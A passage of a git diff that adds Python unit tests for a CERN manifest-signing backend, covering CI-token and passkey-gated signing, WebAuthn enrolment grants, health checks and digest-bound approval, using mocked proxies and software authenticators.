os.environ.pop("BITS_SIGN_PROXY_TOKEN", None) + + def _manifest(self, group="lcg"): + return json.dumps({"packages": [{"package": "A", "group": group}]}).encode() + + def _patch_proxy(self): + return [ + patch.object(main.trust, "sign_bytes_via_proxy", + lambda data, url, tok: trust.sign_bytes(data, self.sign_key)), + patch.object(main.trust, "proxy_pubkey", + lambda url, tok: (trust.key_id(self.sign_key.public_key()), + self.sign_key.public_key())), + patch.object(main.trust, "load_key_policy", return_value=None), + # Bypass real JWT verification; return CI claims for the authorized project. + patch.object(main.ci_auth, "verify_ci_token", + lambda token, settings: {"project_path": "proj/manifests", + "ref": "main"}), + ] + + def _run(self, body, project_ok=True): + ps = self._patch_proxy() + if not project_ok: + ps[-1] = patch.object(main.ci_auth, "verify_ci_token", + lambda token, settings: {"project_path": "proj/rogue", + "ref": "main"}) + for p in ps: + p.start() + try: + # JWT-shaped token so _authorize_sign routes it to the CI path. + return self.client.post("/sign", content=body, + headers={"Authorization": "Bearer aa.bb.cc"}) + finally: + for p in ps: + p.stop() + + def test_ci_signs_authorized_group(self): + r = self._run(self._manifest("lcg")) + self.assertEqual(r.status_code, 200) + out = r.json() + self.assertEqual(out["signed_by"], "ci:proj/manifests") + trusted = {trust.key_id(self.sign_key.public_key()): self.sign_key.public_key()} + self.assertEqual(trust.verify_bytes(self._manifest("lcg"), out["envelope"], trusted), + trust.key_id(self.sign_key.public_key())) + + def test_ci_denied_unauthorized_group(self): + r = self._run(self._manifest("common")) # project may sign lcg only + self.assertEqual(r.status_code, 403) + + def test_ci_denied_unlisted_project(self): + r = self._run(self._manifest("lcg"), project_ok=False) + self.assertEqual(r.status_code, 403) + + def test_invalid_ci_token_401(self): + with patch.object(main.ci_auth, "verify_ci_token", + side_effect=Exception("bad")): + r = self.client.post("/sign", content=self._manifest(), + headers={"Authorization": "Bearer aa.bb.cc"}) + self.assertEqual(r.status_code, 401) + + +if __name__ == "__main__": + unittest.main() diff --git a/console-backend/tests/test_cli_sign.py b/console-backend/tests/test_cli_sign.py new file mode 100644 index 00000000..0e208fe9 --- /dev/null +++ b/console-backend/tests/test_cli_sign.py @@ -0,0 +1,143 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""C3 tests: cross-device (CLI-initiated) signing — terminal submits, a human +approves in the browser with a passkey, the CLI polls the result.""" + +import json +import os +import shutil +import tempfile +import unittest +from unittest.mock import patch + +from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey +from fastapi.testclient import TestClient +from soft_webauthn import SoftWebauthnDevice +from webauthn.helpers import base64url_to_bytes, bytes_to_base64url + +from console_backend import config, credentials, main, webauthn_rp +from bits_helpers import trust + +RP_ID = "example.org" +ORIGIN = "https://example.org" + + +def _attestation(device, options_json): + o = json.loads(options_json) + pkcco = {"publicKey": { + "rp": o["rp"], + "user": {"id": base64url_to_bytes(o["user"]["id"]), + "name": o["user"]["name"], "displayName": o["user"]["displayName"]}, + "challenge": base64url_to_bytes(o["challenge"]), + "pubKeyCredParams": o["pubKeyCredParams"]}} + att = device.create(pkcco, ORIGIN) + return json.dumps({ + "id": bytes_to_base64url(att["rawId"]), "rawId": bytes_to_base64url(att["rawId"]), + "type": att["type"], + "response": {"clientDataJSON": bytes_to_base64url(att["response"]["clientDataJSON"]), + "attestationObject": bytes_to_base64url(att["response"]["attestationObject"])}}) + + +def _assertion(device, pk): + pkcro = {"publicKey": { + "challenge": base64url_to_bytes(pk["challenge"]), "rpId": pk["rpId"], + "allowCredentials": [{"type": "public-key", "id": base64url_to_bytes(c["id"])} + for c in pk.get("allowCredentials", [])]}} + asr = device.get(pkcro, ORIGIN) + resp = {k: bytes_to_base64url(asr["response"][k]) + for k in ("clientDataJSON", "authenticatorData", "signature")} + if asr["response"].get("userHandle"): + resp["userHandle"] = bytes_to_base64url(asr["response"]["userHandle"]) + return {"id": bytes_to_base64url(asr["rawId"]), "rawId": bytes_to_base64url(asr["rawId"]), + "type": asr["type"], "response": resp} + + +class TestCliSign(unittest.TestCase): + def setUp(self): + self.dir = tempfile.mkdtemp() + path = os.path.join(self.dir, "creds.json") + main.settings = config.Settings(env={ + "BITS_WEBAUTHN_RP_ID": RP_ID, "BITS_WEBAUTHN_ORIGIN": ORIGIN, + "BITS_WEBAUTHN_CREDENTIALS": path, "BITS_WEBAUTHN_REQUIRE_UV": "0", + "BITS_SIGN_PROXY_URL": "http://proxy/sign/bits", + "BITS_ADMINS_POLICY": "lcg @alice", + "BITS_SESSION_COOKIE_SECURE": "0"}) + main.identity.verify_gitlab_token = lambda a, t, *x, **k: t or None + main.credstore = credentials.CredentialStore(path) + main.cli_signs = main.session.CliSignStore() + self.client = TestClient(main.app, follow_redirects=False) + self.device = SoftWebauthnDevice() + self.sign_key = Ed25519PrivateKey.generate() + os.environ["BITS_SIGN_PROXY_TOKEN"] = "gate" + opts_json, chal = webauthn_rp.registration_options(main.settings, "alice", []) + cred = webauthn_rp.verify_registration(main.settings, _attestation(self.device, opts_json), chal) + main.credstore.add("alice", cred) + + def tearDown(self): + os.environ.pop("BITS_SIGN_PROXY_TOKEN", None) + shutil.rmtree(self.dir, ignore_errors=True) + + def _manifest(self, group="lcg"): + return json.dumps({"packages": [{"package": "A", "group": group}]}).encode() + + def _patch_proxy(self): + return [ + patch.object(main.trust, "sign_bytes_via_proxy", + lambda data, url, tok: trust.sign_bytes(data, self.sign_key)), + patch.object(main.trust, "proxy_pubkey", + lambda url, tok: (trust.key_id(self.sign_key.public_key()), + self.sign_key.public_key())), + patch.object(main.trust, "load_key_policy", return_value=None), + ] + + def _alice(self): + return {"Authorization": "Bearer alice"} + + def test_request_is_unauthenticated(self): + r = self.client.post("/sign/cli/request", content=self._manifest()) + self.assertEqual(r.status_code, 200) + self.assertIn("request_id", r.json()) + self.assertIn("/?approve=", r.json()["approve_url"]) + + def test_pending_requires_admin(self): + rid = self.client.post("/sign/cli/request", + content=self._manifest("common")).json()["request_id"] + # alice admins lcg, not common + r = self.client.get("/sign/cli/" + rid, headers=self._alice()) + self.assertEqual(r.status_code, 403) + + def test_full_cross_device_flow(self): + body = self._manifest("lcg") + rid = self.client.post("/sign/cli/request", content=body).json()["request_id"] + # CLI polling: still pending + self.assertEqual(self.client.get("/sign/cli/" + rid + "/result").json()["status"], "pending") + # Browser approver (alice) reviews + approves + c = self._alice() + pend = self.client.get("/sign/cli/" + rid, headers=c).json() + self.assertEqual(pend["status"], "pending") + self.assertIn("Demo" if False else "A", pend["manifest"]) + assertion = _assertion(self.device, pend["publicKey"]) + ps = self._patch_proxy() + for p in ps: + p.start() + try: + appr = self.client.post("/sign/cli/" + rid + "/approve", headers=c, + json={"assertion": assertion}) + finally: + for p in ps: + p.stop() + self.assertEqual(appr.status_code, 200) + # CLI polling: signed, envelope verifies over the exact manifest + res = self.client.get("/sign/cli/" + rid + "/result").json() + self.assertEqual(res["status"], "signed") + trusted = {trust.key_id(self.sign_key.public_key()): self.sign_key.public_key()} + self.assertEqual(trust.verify_bytes(body, res["envelope"], trusted), + trust.key_id(self.sign_key.public_key())) + self.assertEqual(res["signed_by"], "alice") + + def test_result_unknown_404(self): + self.assertEqual(self.client.get("/sign/cli/nope/result").status_code, 404) + + +if __name__ == "__main__": + unittest.main() diff --git a/console-backend/tests/test_enrollment_authority.py b/console-backend/tests/test_enrollment_authority.py new file mode 100644 index 00000000..cabe7947 --- /dev/null +++ b/console-backend/tests/test_enrollment_authority.py @@ -0,0 +1,137 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""C6 tests: enrolment authority — first passkey needs a bits-admin grant, a +further passkey needs step-up with an existing one.""" + +import json +import os +import shutil +import tempfile +import unittest + +from fastapi.testclient import TestClient +from soft_webauthn import SoftWebauthnDevice +from webauthn.helpers import base64url_to_bytes, bytes_to_base64url + +from console_backend import config, credentials, main + +RP_ID = "example.org" +ORIGIN = "https://example.org" + + +def _attestation(device, options_json): + o = json.loads(options_json) + pkcco = {"publicKey": { + "rp": o["rp"], + "user": {"id": base64url_to_bytes(o["user"]["id"]), + "name": o["user"]["name"], "displayName": o["user"]["displayName"]}, + "challenge": base64url_to_bytes(o["challenge"]), + "pubKeyCredParams": o["pubKeyCredParams"]}} + att = device.create(pkcco, ORIGIN) + return {"id": bytes_to_base64url(att["rawId"]), "rawId": bytes_to_base64url(att["rawId"]), + "type": att["type"], + "response": {"clientDataJSON": bytes_to_base64url(att["response"]["clientDataJSON"]), + "attestationObject": bytes_to_base64url(att["response"]["attestationObject"])}} + + +def _assertion(device, pk): + pkcro = {"publicKey": { + "challenge": base64url_to_bytes(pk["challenge"]), "rpId": pk["rpId"], + "allowCredentials": [{"type": "public-key", "id": base64url_to_bytes(c["id"])} + for c in pk.get("allowCredentials", [])]}} + asr = device.get(pkcro, ORIGIN) + resp = {k: bytes_to_base64url(asr["response"][k]) + for k in ("clientDataJSON", "authenticatorData", "signature")} + if asr["response"].get("userHandle"): + resp["userHandle"] = bytes_to_base64url(asr["response"]["userHandle"]) + return {"id": bytes_to_base64url(asr["rawId"]), "rawId": bytes_to_base64url(asr["rawId"]), + "type": asr["type"], "response": resp} + + +class TestEnrollmentAuthority(unittest.TestCase): + def setUp(self): + self.dir = tempfile.mkdtemp() + path = os.path.join(self.dir, "c.json") + main.settings = config.Settings(env={ + "BITS_WEBAUTHN_RP_ID": RP_ID, "BITS_WEBAUTHN_ORIGIN": ORIGIN, + "BITS_WEBAUTHN_CREDENTIALS": path, "BITS_WEBAUTHN_REQUIRE_UV": "0", + "BITS_ADMINS_POLICY": "* @root\nlcg @alice", # root overall, alice lcg + "BITS_SESSION_COOKIE_SECURE": "0"}) # authority ON (default) + main.identity.verify_gitlab_token = lambda a, t, *x, **k: t or None + main.reg_challenges = main.session.RegChallengeStore() + main.credstore = credentials.CredentialStore(path) + main.enroll_grants = main.session.EnrollmentGrantStore() + self.client = TestClient(main.app, follow_redirects=False) + + def tearDown(self): + shutil.rmtree(self.dir, ignore_errors=True) + + def _sess(self, user): + return {"Authorization": "Bearer %s" % user} + + def _begin(self, cookies): + return self.client.post("/webauthn/register/begin", headers=cookies).json() + + def _finish(self, payload, cookies): + return self.client.post("/webauthn/register/finish", json=payload, headers=cookies) + + def test_only_bits_admin_can_grant(self): + # alice administers lcg but is not a bits (overall) admin -> 403 + r = self.client.post("/webauthn/grant", json={"user": "alice"}, headers=self._sess("alice")) + self.assertEqual(r.status_code, 403) + # root is overall -> 200 + r = self.client.post("/webauthn/grant", json={"user": "alice"}, headers=self._sess("root")) + self.assertEqual(r.status_code, 200) + + def test_first_enrolment_denied_without_grant(self): + c = self._sess("alice") + att = _attestation(SoftWebauthnDevice(), json.dumps(self._begin(c)["publicKey"])) + r = self._finish({"attestation": att}, c) + self.assertEqual(r.status_code, 403) + + def test_first_enrolment_allowed_with_grant(self): + self.client.post("/webauthn/grant", json={"user": "alice"}, headers=self._sess("root")) + c = self._sess("alice") + att = _attestation(SoftWebauthnDevice(), json.dumps(self._begin(c)["publicKey"])) + self.assertEqual(self._finish({"attestation": att}, c).status_code, 200) + self.assertEqual(len(main.credstore.get("alice")), 1) + + def test_grant_is_single_use(self): + self.client.post("/webauthn/grant", json={"user": "alice"}, headers=self._sess("root")) + c = self._sess("alice") + att = _attestation(SoftWebauthnDevice(), json.dumps(self._begin(c)["publicKey"])) + self._finish({"attestation": att}, c) # consumes the grant + # a would-be second FIRST enrolment... but now alice has a cred, so it's a + # step-up path; the point is the grant is gone. Verify via a fresh user: + self.client.post("/webauthn/grant", json={"user": "bob"}, headers=self._sess("root")) + cb = self._sess("bob") + a1 = _attestation(SoftWebauthnDevice(), json.dumps(self._begin(cb)["publicKey"])) + self.assertEqual(self._finish({"attestation": a1}, cb).status_code, 200) # grant used + a2 = _attestation(SoftWebauthnDevice(), json.dumps(self._begin(cb)["publicKey"])) + # bob now has a cred -> further enrolment needs step-up, not the (spent) grant + self.assertEqual(self._finish({"attestation": a2}, cb).status_code, 403) + + def test_subsequent_enrolment_requires_stepup(self): + # Bootstrap alice's first passkey (device1) via a grant. + self.client.post("/webauthn/grant", json={"user": "alice"}, headers=self._sess("root")) + c = self._sess("alice") + dev1 = SoftWebauthnDevice() + a1 = _attestation(dev1, json.dumps(self._begin(c)["publicKey"])) + self._finish({"attestation": a1}, c) + dev2 = SoftWebauthnDevice() + # Attempt WITHOUT step-up -> 403. + b_no = self._begin(c) + self.assertIn("stepup", b_no) + a_no = _attestation(dev2, json.dumps(b_no["publicKey"])) + self.assertEqual(self._finish({"attestation": a_no}, c).status_code, 403) + # Attempt WITH a step-up assertion from the existing passkey (device1) -> 200. + b_ok = self._begin(c) # fresh challenges + a_ok = _attestation(dev2, json.dumps(b_ok["publicKey"])) + stepup = _assertion(dev1, b_ok["stepup"]) + r = self._finish({"attestation": a_ok, "stepup": stepup}, c) + self.assertEqual(r.status_code, 200) + self.assertEqual(len(main.credstore.get("alice")), 2) + + +if __name__ == "__main__": + unittest.main() diff --git a/console-backend/tests/test_health.py b/console-backend/tests/test_health.py new file mode 100644 index 00000000..7dd38532 --- /dev/null +++ b/console-backend/tests/test_health.py @@ -0,0 +1,39 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""B1 skeleton tests: health endpoint + bits_helpers wiring.""" + +import unittest + +from fastapi.testclient import TestClient + +from console_backend.main import app + + +class TestHealth(unittest.TestCase): + def setUp(self): + self.client = TestClient(app) + + def test_healthz_ok(self): + r = self.client.get("/healthz") + self.assertEqual(r.status_code, 200) + body = r.json() + self.assertEqual(body["status"], "ok") + # bits_helpers must import in the test env (backend reuses it in B2/B3). + self.assertTrue(body["bits_helpers"]) + self.assertIn("sign_proxy_configured", body) + + def test_index_serves_pwa(self): + r = self.client.get("/") + self.assertEqual(r.status_code, 200) + self.assertIn("manifest signing", r.text) + self.assertIn("navigator.credentials", r.text) + + def test_no_secret_in_health(self): + # The health response must never leak the gate token or key material. + text = self.client.get("/healthz").text.lower() + self.assertNotIn("token", text) + self.assertNotIn("secret", text) + + +if __name__ == "__main__": + unittest.main() diff --git a/console-backend/tests/test_sign.py b/console-backend/tests/test_sign.py new file mode 100644 index 00000000..eb6bce3b --- /dev/null +++ b/console-backend/tests/test_sign.py @@ -0,0 +1,155 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""B3 tests: the community-admin-gated /sign endpoint (Mode 1). + +The proxy is faked with a real Ed25519 key so the returned envelope actually +verifies over the exact submitted bytes; authz is exercised for real. +""" + +import json +import os +import unittest +from unittest.mock import patch + +from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey +from fastapi.testclient import TestClient + +from console_backend import config, main +from bits_helpers import trust + + +def _configure(policy="lcg @alice\ncommon @root"): + main.settings = config.Settings(env={ + "GITLAB_API_URL": "https://gitlab.example/api/v4", + "BITS_ADMINS_POLICY": policy, + "BITS_SIGN_PROXY_URL": "http://proxy/sign/bits", + "BITS_SESSION_COOKIE_SECURE": "0", + }) + main.identity.verify_gitlab_token = lambda a, t, *x, **k: t or None + + +def _manifest(group="lcg"): + return json.dumps({"architecture": "slc7_x86-64", + "packages": [{"package": "A", "hash": "h1", "group": group}]}).encode() + + +class TestSign(unittest.TestCase): + def setUp(self): + _configure() + self.priv = Ed25519PrivateKey.generate() + self.client = TestClient(main.app, follow_redirects=False) + os.environ["BITS_SIGN_PROXY_TOKEN"] = "gate" + + def tearDown(self): + os.environ.pop("BITS_SIGN_PROXY_TOKEN", None) + + def _session(self, user): + return {"Authorization": "Bearer %s" % user} + + def _patched(self, policy=None): + # Fake proxy: sign with our known key; pubkey/keyid from it. + return [ + patch.object(main.trust, "sign_bytes_via_proxy", + lambda data, url, tok: trust.sign_bytes(data, self.priv)), + patch.object(main.trust, "proxy_pubkey", + lambda url, tok: (trust.key_id(self.priv.public_key()), + self.priv.public_key())), + patch.object(main.trust, "load_key_policy", return_value=policy), + ] + + def test_sign_requires_session(self): + r = self.client.post("/sign", content=_manifest()) + self.assertEqual(r.status_code, 401) + + def test_sign_happy_path_verifies_over_exact_bytes(self): + body = _manifest("lcg") + sid = self._session("alice") + ps = self._patched() + for p in ps: + p.start() + try: + r = self.client.post("/sign", content=body, headers=sid) + finally: + for p in ps: + p.stop() + self.assertEqual(r.status_code, 200) + out = r.json() + env = out["envelope"] + trusted = {trust.key_id(self.priv.public_key()): self.priv.public_key()} + self.assertEqual(trust.verify_bytes(body, env, trusted), + trust.key_id(self.priv.public_key())) + self.assertEqual(out["groups"], ["lcg"]) + self.assertEqual(out["signed_by"], "alice") + # Neither token appears anywhere in the response. + self.assertNotIn("gate", r.text) + self.assertNotIn("\"t\"", r.text) + + def test_sign_denied_for_non_admin_group(self): + # alice admins lcg, not common; a manifest with a common package -> 403. + body = _manifest("common") + sid = self._session("alice") + ps = self._patched() + for p in ps: + p.start() + try: + r = self.client.post("/sign", content=body, headers=sid) + finally: + for p in ps: + p.stop() + self.assertEqual(r.status_code, 403) + + def test_sign_blocked_by_key_policy(self): + # authz ok (alice/lcg) but the proxy key is not authorized for lcg. + body = _manifest("lcg") + sid = self._session("alice") + deny_policy = {"default": []} # key authorized for nothing + ps = self._patched(policy=deny_policy) + for p in ps: + p.start() + try: + r = self.client.post("/sign", content=body, headers=sid) + finally: + for p in ps: + p.stop() + self.assertEqual(r.status_code, 403) + + def test_sign_bad_json_400(self): + sid = self._session("alice") + r = self.client.post("/sign", content=b"not json", headers=sid) + self.assertEqual(r.status_code, 400) + + def test_sign_rejects_oversized_body(self): + sid = self._session("alice") + orig = main._MAX_BODY + main._MAX_BODY = 10 + try: + r = self.client.post("/sign", content=_manifest("lcg"), + headers=sid) + finally: + main._MAX_BODY = orig + self.assertEqual(r.status_code, 413) + + def test_sign_malformed_packages_no_500(self): + # A non-dict package must not crash (500): it's treated as 'common', and + # alice (not a common admin) is denied — fail-closed with 403. + sid = self._session("alice") + ps = self._patched() + for p in ps: + p.start() + try: + r = self.client.post("/sign", content=b'{"packages": ["junk"]}', + headers=sid) + finally: + for p in ps: + p.stop() + self.assertEqual(r.status_code, 403) + + def test_sign_no_proxy_token_503(self): + os.environ.pop("BITS_SIGN_PROXY_TOKEN", None) + sid = self._session("alice") + r = self.client.post("/sign", content=_manifest(), headers=sid) + self.assertEqual(r.status_code, 503) + + +if __name__ == "__main__": + unittest.main() diff --git a/console-backend/tests/test_sign_approve.py b/console-backend/tests/test_sign_approve.py new file mode 100644 index 00000000..b671cccb --- /dev/null +++ b/console-backend/tests/test_sign_approve.py @@ -0,0 +1,202 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""C2 tests: digest-bound WebAuthn approval gating human signing. + +A real software authenticator approves; the signature must verify over the exact +manifest, an approval made for a DIFFERENT digest must be rejected (content +binding), single-shot /sign is blocked once a passkey is enrolled, and a foreign +request cannot be approved. +""" + +import base64 +import json +import os +import shutil +import tempfile +import unittest +from unittest.mock import patch + +from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey +from fastapi.testclient import TestClient +from soft_webauthn import SoftWebauthnDevice +from webauthn.helpers import base64url_to_bytes, bytes_to_base64url + +from console_backend import config, credentials, main, webauthn_rp +from bits_helpers import trust + +RP_ID = "example.org" +ORIGIN = "https://example.org" + + +def _attestation(device, options_json): + o = json.loads(options_json) + pkcco = {"publicKey": { + "rp": o["rp"], + "user": {"id": base64url_to_bytes(o["user"]["id"]), + "name": o["user"]["name"], "displayName": o["user"]["displayName"]}, + "challenge": base64url_to_bytes(o["challenge"]), + "pubKeyCredParams": o["pubKeyCredParams"]}} + att = device.create(pkcco, ORIGIN) + return json.dumps({ + "id": bytes_to_base64url(att["rawId"]), "rawId": bytes_to_base64url(att["rawId"]), + "type": att["type"], + "response": {"clientDataJSON": bytes_to_base64url(att["response"]["clientDataJSON"]), + "attestationObject": bytes_to_base64url(att["response"]["attestationObject"])}}) + + +def _assertion(device, pk): + pkcro = {"publicKey": { + "challenge": base64url_to_bytes(pk["challenge"]), "rpId": pk["rpId"], + "allowCredentials": [{"type": "public-key", "id": base64url_to_bytes(c["id"])} + for c in pk.get("allowCredentials", [])]}} + asr = device.get(pkcro, ORIGIN) + resp = {k: bytes_to_base64url(asr["response"][k]) + for k in ("clientDataJSON", "authenticatorData", "signature")} + if asr["response"].get("userHandle"): + resp["userHandle"] = bytes_to_base64url(asr["response"]["userHandle"]) + return {"id": bytes_to_base64url(asr["rawId"]), "rawId": bytes_to_base64url(asr["rawId"]), + "type": asr["type"], "response": resp} + + +class TestApproval(unittest.TestCase): + def setUp(self): + self.dir = tempfile.mkdtemp() + path = os.path.join(self.dir, "creds.json") + main.settings = config.Settings(env={ + "BITS_WEBAUTHN_RP_ID": RP_ID, "BITS_WEBAUTHN_ORIGIN": ORIGIN, + "BITS_WEBAUTHN_CREDENTIALS": path, "BITS_WEBAUTHN_REQUIRE_UV": "0", + "BITS_SIGN_PROXY_URL": "http://proxy/sign/bits", + "BITS_ADMINS_POLICY": "lcg @alice\ncommon @root", + "BITS_SESSION_COOKIE_SECURE": "0"}) + main.identity.verify_gitlab_token = lambda a, t, *x, **k: t or None + main.credstore = credentials.CredentialStore(path) + main.sign_requests = main.session.SignRequestStore() + self.client = TestClient(main.app, follow_redirects=False) + self.device = SoftWebauthnDevice() + self.sign_key = Ed25519PrivateKey.generate() + os.environ["BITS_SIGN_PROXY_TOKEN"] = "gate" + # Enrol alice's passkey (same device authenticates below). + opts_json, chal = webauthn_rp.registration_options(main.settings, "alice", []) + cred = webauthn_rp.verify_registration(main.settings, _attestation(self.device, opts_json), chal) + main.credstore.add("alice", cred) + + def tearDown(self): + os.environ.pop("BITS_SIGN_PROXY_TOKEN", None) + shutil.rmtree(self.dir, ignore_errors=True) + + def _manifest(self, pkg="A", group="lcg"): + return json.dumps({"packages": [{"package": pkg, "group": group}]}).encode() + + def _patch_proxy(self): + return [ + patch.object(main.trust, "sign_bytes_via_proxy", + lambda data, url, tok: trust.sign_bytes(data, self.sign_key)), + patch.object(main.trust, "proxy_pubkey", + lambda url, tok: (trust.key_id(self.sign_key.public_key()), + self.sign_key.public_key())), + patch.object(main.trust, "load_key_policy", return_value=None), + ] + + def _alice(self): + return {"Authorization": "Bearer alice"} + + @staticmethod + def _b64(body): + return base64.b64encode(body).decode() + + def test_approval_signs_over_exact_bytes(self): + c = self._alice() + body = self._manifest() + rj = self.client.post("/sign/request", content=body, headers=c).json() + assertion = _assertion(self.device, rj["publicKey"]) + ps = self._patch_proxy() + for p in ps: + p.start() + try: + appr = self.client.post("/sign/approve", headers=c, + json={"request_id": rj["request_id"], "assertion": assertion, + "manifest": self._b64(body)}) + finally: + for p in ps: + p.stop() + self.assertEqual(appr.status_code, 200) + env = appr.json()["envelope"] + trusted = {trust.key_id(self.sign_key.public_key()): self.sign_key.public_key()} + self.assertEqual(trust.verify_bytes(body, env, trusted), + trust.key_id(self.sign_key.public_key())) + + def test_single_shot_blocked_when_enrolled(self): + c = self._alice() + r = self.client.post("/sign", content=self._manifest(), headers=c) + self.assertEqual(r.status_code, 409) + + def test_webauthn_required_blocks_passkeyless_human(self): + # root is a 'common' admin with NO passkey; with WebAuthn required, even a + # single-shot /sign must be blocked (mandatory 2nd factor). + main.settings.webauthn_required = True + try: + r = self.client.post("/sign", content=self._manifest(group="common"), + headers={"Authorization": "Bearer root"}) + self.assertEqual(r.status_code, 409) + finally: + main.settings.webauthn_required = False + + def test_request_requires_admin(self): + c = self._alice() + r = self.client.post("/sign/request", content=self._manifest(group="common"), headers=c) + self.assertEqual(r.status_code, 403) + + def test_approval_for_a_different_digest_rejected(self): + # Approve request A with an assertion produced for request B's challenge. + c = self._alice() + ra = self.client.post("/sign/request", content=self._manifest("A"), headers=c).json() + rb = self.client.post("/sign/request", content=self._manifest("B"), headers=c).json() + assertion_for_b = _assertion(self.device, rb["publicKey"]) + appr = self.client.post("/sign/approve", headers=c, + json={"request_id": ra["request_id"], "assertion": assertion_for_b, + "manifest": self._b64(self._manifest("A"))}) + self.assertEqual(appr.status_code, 403) + + def test_resubmitted_manifest_must_match_digest(self): + c = self._alice() + body = self._manifest("A") + rj = self.client.post("/sign/request", content=body, headers=c).json() + assertion = _assertion(self.device, rj["publicKey"]) + # A different manifest than was approved must be rejected before signing. + appr = self.client.post("/sign/approve", headers=c, + json={"request_id": rj["request_id"], "assertion": assertion, + "manifest": self._b64(self._manifest("TAMPERED"))}) + self.assertEqual(appr.status_code, 400) + + def test_request_is_single_use(self): + c = self._alice() + body = self._manifest("A") + rj = self.client.post("/sign/request", content=body, headers=c).json() + payload = {"request_id": rj["request_id"], + "assertion": _assertion(self.device, rj["publicKey"]), + "manifest": self._b64(body)} + ps = self._patch_proxy() + for p in ps: + p.start() + try: + first = self.client.post("/sign/approve", headers=c, json=payload) + second = self.client.post("/sign/approve", headers=c, json=payload) + finally: + for p in ps: + p.stop() + self.assertEqual(first.status_code, 200) + self.assertEqual(second.status_code, 400) # request consumed + + def test_foreign_request_rejected(self): + c = self._alice() + ra = self.client.post("/sign/request", content=self._manifest(), headers=c).json() + assertion = _assertion(self.device, ra["publicKey"]) + bob = {"Authorization": "Bearer bob"} + appr = self.client.post("/sign/approve", headers=bob, + json={"request_id": ra["request_id"], "assertion": assertion, + "manifest": self._b64(self._manifest())}) + self.assertEqual(appr.status_code, 400) + + +if __name__ == "__main__": + unittest.main() diff --git a/console-backend/tests/test_webauthn.py b/console-backend/tests/test_webauthn.py new file mode 100644 index 00000000..e23c708e --- /dev/null +++ b/console-backend/tests/test_webauthn.py @@ -0,0 +1,176 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""C1 tests: WebAuthn enrolment + the digest-bound assertion building block. + +A real software authenticator (soft_webauthn) produces genuine attestation and +assertion, verified by py_webauthn — so registration, the credential store, and +the digest==challenge binding are exercised end to end. +""" + +import hashlib +import json +import os +import shutil +import tempfile +import unittest + +from soft_webauthn import SoftWebauthnDevice +from fastapi.testclient import TestClient +from webauthn.helpers import base64url_to_bytes, bytes_to_base64url + +from console_backend import config, credentials, main, webauthn_rp + +RP_ID = "example.org" +ORIGIN = "https://example.org" + + +def _attestation(device, options_json): + o = json.loads(options_json) + pkcco = {"publicKey": { + "rp": o["rp"], + "user": {"id": base64url_to_bytes(o["user"]["id"]), + "name": o["user"]["name"], "displayName": o["user"]["displayName"]}, + "challenge": base64url_to_bytes(o["challenge"]), + "pubKeyCredParams": o["pubKeyCredParams"], + }} + att = device.create(pkcco, ORIGIN) + return json.dumps({ + "id": bytes_to_base64url(att["rawId"]), + "rawId": bytes_to_base64url(att["rawId"]), + "type": att["type"], + "response": { + "clientDataJSON": bytes_to_base64url(att["response"]["clientDataJSON"]), + "attestationObject": bytes_to_base64url(att["response"]["attestationObject"]), + }, + }) + + +def _assertion(device, options_json): + o = json.loads(options_json) + pkcro = {"publicKey": { + "challenge": base64url_to_bytes(o["challenge"]), "rpId": o["rpId"], + "allowCredentials": [{"type": "public-key", "id": base64url_to_bytes(c["id"])} + for c in o.get("allowCredentials", [])], + }} + asr = device.get(pkcro, ORIGIN) + resp = {k: bytes_to_base64url(asr["response"][k]) + for k in ("clientDataJSON", "authenticatorData", "signature")} + if asr["response"].get("userHandle"): + resp["userHandle"] = bytes_to_base64url(asr["response"]["userHandle"]) + return json.dumps({"id": bytes_to_base64url(asr["rawId"]), + "rawId": bytes_to_base64url(asr["rawId"]), + "type": asr["type"], "response": resp}) + + +def _settings(creds_path=None): + env = {"BITS_WEBAUTHN_RP_ID": RP_ID, "BITS_WEBAUTHN_ORIGIN": ORIGIN, + "BITS_SESSION_COOKIE_SECURE": "0", + "BITS_WEBAUTHN_REQUIRE_UV": "0", # soft authenticator can't do UV + "BITS_ENROLLMENT_AUTHORITY": "0"} # self-service path (C6 tested separately) + if creds_path: + env["BITS_WEBAUTHN_CREDENTIALS"] = creds_path + return config.Settings(env=env) + + +class TestEnrollEndpoints(unittest.TestCase): + def setUp(self): + self.dir = tempfile.mkdtemp() + path = os.path.join(self.dir, "creds.json") + main.settings = _settings(path) + main.identity.verify_gitlab_token = lambda a, t, *x, **k: t or None + main.reg_challenges = main.session.RegChallengeStore() + main.credstore = credentials.CredentialStore(path) + self.client = TestClient(main.app, follow_redirects=False) + self.device = SoftWebauthnDevice() + + def tearDown(self): + shutil.rmtree(self.dir, ignore_errors=True) + + def test_begin_requires_auth(self): + self.assertEqual(self.client.post("/webauthn/register/begin").status_code, 401) + + def test_begin_requires_config(self): + main.settings = config.Settings(env={}) + r = self.client.post("/webauthn/register/begin", + headers={"Authorization": "Bearer alice"}) + self.assertEqual(r.status_code, 503) + + def test_full_enrollment(self): + c = {"Authorization": "Bearer alice"} + begin = self.client.post("/webauthn/register/begin", headers=c) + self.assertEqual(begin.status_code, 200) + pk = begin.json()["publicKey"] + att = _attestation(self.device, json.dumps(pk)) + finish = self.client.post("/webauthn/register/finish", + json={"attestation": json.loads(att)}, headers=c) + self.assertEqual(finish.status_code, 200) + self.assertEqual(finish.json()["status"], "enrolled") + self.assertEqual(len(main.credstore.get("alice")), 1) + + def test_finish_without_begin_400(self): + r = self.client.post("/webauthn/register/finish", content=b"{}", + headers={"Authorization": "Bearer alice"}) + self.assertEqual(r.status_code, 400) + + +class TestStore(unittest.TestCase): + def test_persists_across_reload(self): + d = tempfile.mkdtemp() + try: + path = os.path.join(d, "creds.json") + s1 = credentials.CredentialStore(path) + s1.add("alice", {"id": "x", "public_key": "p", "sign_count": 0}) + s1.add("alice", {"id": "x", "public_key": "p", 